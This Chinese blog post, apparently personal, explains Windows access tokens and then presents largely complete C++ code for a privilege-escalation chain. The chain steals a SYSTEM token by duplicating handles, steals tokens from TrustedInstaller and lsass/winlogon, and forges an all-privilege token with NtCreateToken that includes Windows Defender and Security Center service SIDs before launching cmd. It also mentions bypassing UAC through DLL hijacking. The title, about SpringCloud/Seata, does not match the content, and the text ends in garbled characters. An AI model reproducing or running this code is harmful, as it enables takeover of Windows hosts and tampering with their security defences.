SpringCloud进阶--Seata与分布式事务方

起因是我想在搞一些操作windows进程的事情时老是需要右键以管理员身份运行感觉很麻烦。就研究了一下怎么提权顺手瞄了一眼Windows下用户态权限分配然后也是感谢《深入解析Windows操作系统》这本书给我偷令牌的灵感吧写了两三天成功获取了用户态下所有特权用户组。一、windows的权限在 Windows 操作系统中“你是谁”以及“你能做什么”完全由一个核心内核对象决定。无论是用户登录、服务启动还是进程创建Windows 安全引用监视器SRM都会为每个进程分配一个令牌。Windows 的权限机制并不是一个单点功能而是一整套围绕“对象”“身份”“能力”展开的安全体系。它的核心目标只有一个在多用户、多进程、多权限级别共存的环境中让系统既能安全运行又能灵活扩展。这套机制的关键在于三个概念安全主体、访问令牌、受保护对象。Windows 不关心你写了什么代码只关心你的线程当前挂着哪一张令牌以及你试图触碰的对象设置了怎样的门禁。在 Windows 中真正参与权限判断的不是“用户”这个抽象概念而是 Security Principal。它可以是本地用户、域用户、系统账户甚至是服务账户。每一个 Security Principal 在系统中都有一个唯一的 SID这个 SID 就像身份证号码一样贯穿其一生。当你登录系统时无论是交互式登录、服务启动还是计划任务触发LSASS 都会负责认证你的身份并为你生成一个访问令牌。这个令牌不是简单的“你是谁”而是一个完整的能力集合快照。这个快照在登录完成后通常是静态的除非显式进行特权调整或令牌复制。也正因为如此Windows 的提权行为本质上不是“获得新能力”而是“获得另一张令牌”。1.令牌的结构令牌中包含用户 SID 和所属的所有组 SID。这些组并不只是显示在“用户属于 Administrators”那么简单还包括诸如 INTERACTIVE、SERVICE、AUTHENTICATED USERS 等隐式组。每一个组都可以被启用、禁用或者标记为仅用于拒绝访问。令牌中还包含一组特权也就是 Privileges例如 SeDebugPrivilege、SeLoadDriverPrivilege、SeImpersonatePrivilege 等。这些特权并不是默认全部启用的大多数处于 Disabled 状态需要显式调整。此外令牌还携带完整性级别。自 Windows Vista 起引入了强制完整性控制机制低完整性进程即便拥有访问控制列表允许的权限也可能被完整性策略直接拦截。最后令牌还记录了是否为主令牌还是模拟令牌这个细节直接决定了它能否被用于创建新进程。二、申请UAC和调试权限1.强制管理员运行函数 IsRunAsAdmin() 通过检查当前令牌是否含有 DOMAIN_ALIAS_RID_ADMINS管理员组 SID来判断权限。 如果不是管理员SelfElevate() 函数利用了一个经典技巧ShellExecuteExW 配合 runas 动词。原理runas 会触发 Windows 的用户账户控制UAC机制。如果当前用户在管理员组但以中等完整性级别Medium Integrity Level运行这会弹窗请求提升。这是本程序中唯一一处需要用户给权的代码。uac似乎也能绕过更改环境变量劫持dllBOOL IsRunAsAdmin() {BOOL fIsRunAsAdmin FALSE;PSID pAdminSID NULL;SID_IDENTIFIER_AUTHORITY NtAuthority SECURITY_NT_AUTHORITY;if (AllocateAndInitializeSid(NtAuthority,2,SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,0,0,0,0,0,0,pAdminSID)) {if (!CheckTokenMembership(NULL, pAdminSID, fIsRunAsAdmin)) {fIsRunAsAdmin FALSE;}FreeSid(pAdminSID);}return fIsRunAsAdmin;}void SelfElevate() {WCHAR szPath[MAX_PATH];if (GetModuleFileNameW(NULL,szPath,ARRAYSIZE(szPath))) {SHELLEXECUTEINFOW sei {sizeof(sei)};sei.cbSize sizeof(sei);sei.lpVerb Lrunas;sei.lpFile szPath;sei.hwnd NULL;sei.nShow SW_NORMAL;if (!ShellExecuteExW(sei)) {std::wcout L[-] User refused UAC elevation. std::endl;} else {exit(0);}}}if (!IsRunAsAdmin()) {std::wcout L[*] Not Admin. Requesting elevation... std::endl;SelfElevate();return 0;}2.开启SeDebugPrivilege特权OpenProcessToken - LookupPrivilegeValue - AdjustTokenPrivileges。SeDebugPrivilege 是 Windows中最强大的特权之一。官方描述是“调试程序”但实际上它允许持有者打开任何进程的句柄拥有 PROCESS_ALL_ACCESS 权限即使该进程属于 SYSTEM 或其他用户。一旦开启此特权Windows 的“进程隔离”防线对攻击者而言就不复存在了。bool EnableDebugPrivilege() {HANDLE hToken;if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken))return false;TOKEN_PRIVILEGES tp;LUID luid;if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, luid)) {CloseHandle(hToken);return false;}tp.PrivilegeCount 1;tp.Privileges[0].Luid luid;tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED;bool result AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);CloseHandle(hToken);return result (GetLastError() ERROR_SUCCESS);}三、Admin提权到 SYSTEM1.句柄爆破GetSystemTokenViaBruteForce() 函数展示了一种极其野蛮但有效的技术。 通常要获取 SYSTEM 令牌攻击者会尝试注入系统进程。但这种方式容易被杀软拦截。所以我的代码选择了“偷句柄”。内存分配循环NtQuerySystemInformation(SystemHandleInformation, ...) 的返回长度是不确定的。用一个 while 循环不断尝试分配更大的内存STATUS_INFO_LENGTH_MISMATCH直到缓冲区足够容纳成千上万个系统句柄。遍历与过滤代码遍历每一个 SYSTEM_HANDLE_TABLE_ENTRY_INFO。if (entry.UniqueProcessId myPid) continue;跳过自己。DuplicateHandle(...)这是最关键的一步。强行将别人的句柄“复制”到自己的进程空间中。HANDLE GetSystemTokenViaBruteForce() {if (!pNtQuerySystemInformation) return NULL;ULONG bufferSize 0x10000;PVOID buffer malloc(bufferSize);ULONG returnLength 0;NTSTATUS status;// 1. 获取所有句柄信息while ((status pNtQuerySystemInformation(SystemHandleInformation,buffer,bufferSize,returnLength)) STATUS_INFO_LENGTH_MISMATCH) {free(buffer);bufferSize returnLength 0x1000;buffer malloc(bufferSize);}if (status ! 0) {free(buffer);return NULL;}PSYSTEM_HANDLE_INFORMATION handleInfo (PSYSTEM_HANDLE_INFORMATION)buffer;DWORD myPid GetCurrentProcessId();HANDLE hBestToken NULL;std::wcout L[*] [Step 1] Brute-forcing handleInfo-NumberOfHandles L system handles... std::endl;for (ULONG i 0; i handleInfo-NumberOfHandles; i) {SYSTEM_HANDLE_TABLE_ENTRY_INFO entry handleInfo-Handles[i];if (entry.UniqueProcessId myPid) continue;HANDLE hSourceProcess OpenProcess(PROCESS_DUP_HANDLE,FALSE,entry.UniqueProcessId);if (!hSourceProcess) continue;HANDLE hDupHandle NULL;if (!DuplicateHandle(hSourceProcess,(HANDLE)(uintptr_t)entry.HandleValue,GetCurrentProcess(),hDupHandle,0,FALSE,DUPLICATE_SAME_ACCESS)) {CloseHandle(hSourceProcess);continue;}// 检查对象类型UCHAR typeInfoBuffer[0x1000];PMY_PUBLIC_OBJECT_TYPE_INFORMATION typeInfo (PMY_PUBLIC_OBJECT_TYPE_INFORMATION)typeInfoBuffer;NTSTATUS status;status pNtQueryObject(hDupHandle,ObjectTypeInformation,typeInfoBuffer,sizeof(typeInfoBuffer),NULL);if (status 0) {goto LoopCleanup;}if (!typeInfo-TypeName.Buffer || _wcsicmp(typeInfo-TypeName.Buffer, LToken) ! 0) {goto LoopCleanup;}if (!IsSystemToken(hDupHandle)) {goto LoopCleanup;}TOKEN_STATISTICS stats;DWORD len;if (!GetTokenInformation(hDupHandle,TokenStatistics,stats,sizeof(stats),len) ||stats.TokenType ! TokenPrimary) {goto LoopCleanup;}DuplicateTokenEx(hDupHandle,MAXIMUM_ALLOWED,NULL,SecurityImpersonation,TokenPrimary,hBestToken);EnableAllPrivilegesForToken(hBestToken);std::wcout L [] FOUND SYSTEM TOKEN at Source PID: entry.UniqueProcessId std::endl;CloseHandle(hDupHandle);CloseHandle(hSourceProcess);goto Cleanup;LoopCleanup:CloseHandle(hDupHandle);CloseHandle(hSourceProcess);}Cleanup:free(buffer);return hBestToken;}2.筛选复制过来的句柄成千上万如何找到有价值的类型检查使用 NtQueryObject 查询对象类型只保留 LToken 类型的句柄。身份验证IsSystemToken() 函数读取令牌的用户 SID利用 IsWellKnownSid(..., WinLocalSystemSid) 确认这个令牌属于 SYSTEM。最终获取一旦找到代码立即调用 DuplicateTokenEx 将其转换为一个主令牌Primary Token并调用 EnableAllPrivilegesForToken 激活其中所有休眠的特权如 SeTcbPrivilege 等。此时通过ImpersonateLoggedOnUser已经从 Admin 变成了 SYSTEM。// Admin - SYSTEMHANDLE hSystemToken GetSystemTokenViaBruteForce();if (!hSystemToken) {std::wcout L[-] Failed to get SYSTEM token. std::endl;return 1;}std::wcout L[] Step 1 Complete: Acquired SYSTEM token (Privileges Enabled). std::endl;// 模拟 SYSTEM 身份 (为了能够控制服务)if (!ImpersonateLoggedOnUser(hSystemToken)) {std::wcout L[-] Impersonation failed. std::endl;return 1;}四、System提权到TrustedInstaller在 Windows Vista 之后SYSTEM 不再是最高权限。为了防止系统文件被篡改微软引入了 Windows Resource Protection (WRP)其所有者是 TrustedInstaller。1.服务控制与劫持通过 StartTrustedInstallerService() 确保 TrustedInstaller 服务正在运行。如果服务没开攻击无法继续所以必须先 StartService。bool StartTrustedInstallerService() {SC_HANDLE hSCManager OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);if (!hSCManager) return false;SC_HANDLE hService OpenServiceW(hSCManager,LTrustedInstaller,SERVICE_START | SERVICE_QUERY_STATUS);if (!hService) {CloseServiceHandle(hSCManager);return false;}SERVICE_STATUS_PROCESS ssp;DWORD bytesNeeded;QueryServiceStatusEx(hService,SC_STATUS_PROCESS_INFO,(LPBYTE)ssp,sizeof(SERVICE_STATUS_PROCESS),bytesNeeded);if (ssp.dwCurrentState ! SERVICE_RUNNING) {std::wcout L [*] Starting TrustedInstaller service... std::endl;StartService(hService, 0, NULL);Sleep(2000);} else {std::wcout L [*] TrustedInstaller service is already running. std::endl;}CloseServiceHandle(hService);CloseServiceHandle(hSCManager);return true;}2.令牌窃取与模拟GetTrustedInstallerToken() 函数执行了令牌窃取流程获取 PID通过 GetPidByName(LTrustedInstaller.exe)。打开进程OpenProcess。复制令牌DuplicateTokenEx。关键动作ImpersonateLoggedOnUser。这一步将当前线程的上下文切换为 TrustedInstaller。这非常重要因为后续的许多操作修改 ACL依赖于当前线程的身份而不是进程身份。HANDLE GetTrustedInstallerToken() {std::wcout L[*] [Step 2] Escalating to TrustedInstaller... std::endl;if (!StartTrustedInstallerService()) {std::wcout L [-] Failed to start service. std::endl;return NULL;}DWORD pid GetPidByName(LTrustedInstaller.exe);if (pid 0) {std::wcout L [-] TrustedInstaller.exe process not found. std::endl;return NULL;}HANDLE hProcess OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);if (!hProcess) return NULL;HANDLE hToken NULL;OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, hToken);HANDLE hNewToken NULL;if (hToken) {DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,NULL,SecurityImpersonation,TokenPrimary,hNewToken);std::wcout L [*] Enabling all privileges for TrustedInstaller token... std::endl;EnableAllPrivilegesForToken(hNewToken);CloseHandle(hToken);}CloseHandle(hProcess);return hNewToken;}五、伪造全特权令牌1.利用TrustedInstaller获取SeCreateTokenPrivilege特权为了能够创造新的令牌我们需要获取SeCreateTokenPrivilege特权。在 ScanAndStealTokens() 中代码遍历所有进程重点关注 lsass.exe本地安全机构子系统服务和 winlogon.exe。lsass.exe 是 Windows 安全的心脏它负责处理登录、验证和策略。因此它天然拥有创建令牌的权力。 HasSeCreateTokenPrivilege() 函数检查目标令牌。这是一个非常罕见的特权。普通管理员没有甚至普通的 SYSTEM 进程也不一定有。只有 lsass.exe 等极少数核心进程拥有。一旦找到拥有此特权的令牌代码将其保存到 stolenTokens 向量中并标记为“Terminator: Found special process”。这个令牌将成为后续“伪造工厂”的原材料。std::vector ScanAndStealTokens() {std::vector stolenTokens;HANDLE hSnapshot CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot INVALID_HANDLE_VALUE) return stolenTokens;PROCESSENTRY32W pe;pe.dwSize sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, pe)) {return stolenTokens;}do {// 1. 过滤系统基础进程if (pe.th32ProcessID 0 || pe.th32ProcessID 4)continue;// 2. 尝试获取进程句柄HANDLE hProcess OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,pe.th32ProcessID);if (!hProcess) {hProcess OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,FALSE,pe.th32ProcessID);}if (!hProcess) continue;// 3. 尝试打开进程 TokenHANDLE hToken NULL;if (!OpenProcessToken(hProcess,TOKEN_QUERY | TOKEN_DUPLICATE,hToken)) {CloseHandle(hProcess);continue;}if (!HasSeCreateTokenPrivilege(hToken)) {CloseHandle(hToken);CloseHandle(hProcess);continue;}wprintf(L[] Terminator: Found special process [%d] %s\n, pe.th32ProcessID, pe.szExeFile);HANDLE hNewToken NULL;if (DuplicateTokenEx(hToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,hNewToken)) {if (_wcsicmp(pe.szExeFile, Llsass.exe) ! 0 _wcsicmp(pe.szExeFile, Lwinlogon.exe) ! 0) {continue;}stolenTokens.push_back(hNewToken);wprintf(L - Token stolen and stored! Handle: 0x%p\n, hNewToken);}CloseHandle(hToken);CloseHandle(hProcess);} while (Process32NextW(hSnapshot, pe));CloseHandle(hSnapshot);return stolenTokens;}2.伪造令牌我们预定义了一个目标服务列表 targetServices包含NT SERVICE\WinDefend (Windows Defender)NT SERVICE\TrustedInstallerNT SERVICE\SecurityHealthService (安全中心)...代码遍历这些服务名使用 LookupAccountNameW 获取它们对应的 SID安全标识符。这些 SID 代表了对反病毒软件、防火墙和系统核心组件的控制权。然后在内存中代码分配了一个巨大的缓冲区来存放 TOKEN_GROUPS 结构体。它首先复制了源令牌通常是 lsass.exe 的令牌中的所有组。然后它将上述收集到的 7 个高危 SID 追加到组列表中。关键属性设置ATTR_INJECT SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER。这意味着新令牌不仅属于这些组而且默认启用这些组的权限甚至拥有这些组对象的所有权然后循环遍历 LUID 从 2 到 MAX_PRIV_COUNT (45)。将每一个特权都设置为 SE_PRIVILEGE_ENABLED。 这不仅包括常见的 SeDebugPrivilege还包括 SeTcbPrivilege作为操作系统一部分行事、SeTakeOwnershipPrivilege接管所有权等。HANDLE ForgeSystemToken(HANDLE hSourceToken, const std::vector sidsToInject) {HMODULE hNtdll GetModuleHandleW(Lntdll.dll);auto NtCreateToken (PNT_CREATE_TOKEN)GetProcAddress(hNtdll, NtCreateToken);if (!NtCreateToken) {std::cerr [-] Failed to resolve NtCreateToken std::endl;return NULL;}std::vector bufStats, bufSource, bufUser, bufGroups, bufPrivs, bufOwner, bufPrimary, bufDacl;if (!GetTokenInfo(hSourceToken, TokenStatistics, bufStats) ||!GetTokenInfo(hSourceToken, TokenSource, bufSource) ||!GetTokenInfo(hSourceToken, TokenUser, bufUser) ||!GetTokenInfo(hSourceToken, TokenGroups, bufGroups) ||!GetTokenInfo(hSourceToken, TokenPrivileges, bufPrivs) ||!GetTokenInfo(hSourceToken, TokenOwner, bufOwner) ||!GetTokenInfo(hSourceToken, TokenPrimaryGroup, bufPrimary) ||!GetTokenInfo(hSourceToken, TokenDefaultDacl, bufDacl)) {std::cerr [-] Failed to query source token information. std::endl;return NULL;}PTOKEN_USER pUser (PTOKEN_USER)bufUser.data();PTOKEN_GROUPS pOriginalGroups (PTOKEN_GROUPS)bufGroups.data();PTOKEN_PRIVILEGES pPrivs (PTOKEN_PRIVILEGES)bufPrivs.data();PTOKEN_OWNER pOwner (PTOKEN_OWNER)bufOwner.data();PTOKEN_PRIMARY_GROUP pPrimaryGroup (PTOKEN_PRIMARY_GROUP)bufPrimary.data();PTOKEN_DEFAULT_DACL pDefaultDacl (PTOKEN_DEFAULT_DACL)bufDacl.data();PTOKEN_STATISTICS pStats (PTOKEN_STATISTICS)bufStats.data();PTOKEN_SOURCE pSource (PTOKEN_SOURCE)bufSource.data();DWORD newGroupCount pOriginalGroups-GroupCount (DWORD)sidsToInject.size();std::vector newGroupsBuffer(sizeof(TOKEN_GROUPS) (newGroupCount * sizeof(SID_AND_ATTRIBUTES)) 0x1000);PTOKEN_GROUPS pNewGroups (PTOKEN_GROUPS)newGroupsBuffer.data();pNewGroups-GroupCount newGroupCount;for (DWORD i 0; i pOriginalGroups-GroupCount; i) {pNewGroups-Groups[i].Sid pOriginalGroups-Groups[i].Sid; // 注意这里直接复制指针需确保源 buffer 不释放pNewGroups-Groups[i].Attributes pOriginalGroups-Groups[i].Attributes;}DWORD const ATTR_INJECT SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER; // 14 (0xE)for (size_t i 0; i sidsToInject.size(); i) {DWORD currentIndex pOriginalGroups-GroupCount (DWORD)i;pNewGroups-Groups[currentIndex].Sid sidsToInject[i];pNewGroups-Groups[currentIndex].Attributes ATTR_INJECT;}SECURITY_QUALITY_OF_SERVICE sqos {sizeof(sqos),SecurityImpersonation,SECURITY_DYNAMIC_TRACKING,FALSE };OBJECT_ATTRIBUTES oa {sizeof(oa),0,0,0,0,sqos };HANDLE hNewToken NULL;LUID authId SYSTEM_LUID;LARGE_INTEGER expTime { 0xFFFFFFFF, 0x7FFFFFFF }; // Infinitestd::vector fullPrivsBuffer(sizeof(TOKEN_PRIVILEGES) (MAX_PRIV_COUNT * sizeof(LUID_AND_ATTRIBUTES)));PTOKEN_PRIVILEGES pFullPrivs (PTOKEN_PRIVILEGES)fullPrivsBuffer.data();DWORD privCount 0;for (DWORD i 2; i MAX_PRIV_COUNT 2; i) {LUID luid { i, 0 };wchar_t name[256];DWORD nameLen 256;if (LookupPrivilegeNameW(NULL, luid, name, nameLen)) {pFullPrivs-Privileges[privCount].Luid luid;pFullPrivs-Privileges[privCount].Attributes SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;privCount;}}pFullPrivs-PrivilegeCount privCount;PSID pSystemSid NULL;SID_IDENTIFIER_AUTHORITY ntAuthority SECURITY_NT_AUTHORITY;AllocateAndInitializeSid(ntAuthority,1,SECURITY_LOCAL_SYSTEM_RID,0,0,0,0,0,0,0,pSystemSid);TOKEN_USER systemUser { 0 };systemUser.User.Sid pSystemSid;systemUser.User.Attributes 0;TOKEN_OWNER tokenOwner { pSystemSid };TOKEN_PRIMARY_GROUP tokenPrimaryGroup { pSystemSid };NTSTATUS status NtCreateToken(hNewToken,TOKEN_ALL_ACCESS,oa,TokenPrimary,authId, // SYSTEM_LUIDexpTime,systemUser, // UserpNewGroups, // GroupspFullPrivs, // PrivilegestokenOwner, // OwnertokenPrimaryGroup, // PrimaryGrouppDefaultDacl, // 可以沿用旧的或者构造一个允许 SYSTEM 访问的 DACLpSource);if (status 0 hNewToken ! NULL) {std::wcout if (status 0xC0000061)std::wcerr L STATUS_PRIVILEGE_NOT_HELD (Need SeCreateTokenPrivilege) std::endl;return NULL;}}六、执行与利用拥有了伪造的令牌后代码使用 CreateProcessWithTokenW以全特权全所属组的方式启动cmdif (!ImpersonateLoggedOnUser(hSystemToken)) {std::wcout L[-] Impersonation failed. std::endl;return 1;}std::wcout L[] Impersonation Active: Thread is now SYSTEM. std::endl;// SYSTEM - TrustedInstallerHANDLE hTIToken GetTrustedInstallerToken();if (!hTIToken) {std::wcout L[-] Failed to get TrustedInstaller token. std::endl;RevertToSelf();return 1;}std::wcout L[] Step 2 Complete: Acquired TrustedInstaller token (Privileges Enabled). std::endl;if (ImpersonateLoggedOnUser(hTIToken)) {std::wcout L\n[*] Impersonating TrustedInstaller to attack ACL... std::endl;} else {std::wcout L[-] Failed to impersonate TrustedInstaller for ACL modification. std::endl;}std::vector tokens ScanAndStealTokens();if (tokens.empty()) {std::wcout L[-] No special tokens found. std::endl;return 1;}std::wcout L[] Collected tokens.size() L candidate tokens. std::endl;if (ImpersonateLoggedOnUser(tokens.back()))std::wcout L[] Impersonation Successful! std::endl;std::vector injectedSIDs;std::wcout L[*] Resolving Service SIDs... std::endl;for (const auto svc : targetServices) {PSID pSid GetSidForService(svc);if (pSid) {injectedSIDs.push_back(pSid);} else {std::wcout L [-] Failed to resolve: svc std::endl;}}HANDLE hCurrentToken;OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, hCurrentToken);// 3. 执行伪造HANDLE hForgedToken ForgeSystemToken(hCurrentToken, injectedSIDs);if(!hForgedToken) {std::wcout L [-] Failed to forged std::endl;return 1;}// 启动 CMDSTARTUPINFOW si { sizeof(si) };PROCESS_INFORMATION pi { 0 };std::wcout L[*] Launching CMD std::endl;if (ImpersonateLoggedOnUser(hForgedToken ))std::wcout L[] Impersonation Successful! std::endl;if (CreateProcessWithTokenW(hForgedToken,1,LC:\\Windows\\System32\\cmd.exe,NULL,CREATE_NEW_CONSOLE,NULL,NULL,si,pi)) {std::wcout L\n[SUCCESS] PID: pi.dwProcessId L. Check whoami /groups. std::endl;CloseHandle(pi.hProcess);CloseHandle(pi.hThread);} else {std::wcout L [-] Launch failed. Error: GetLastError() std::endl;}最终的whoami /all如下图所示媳粤壬级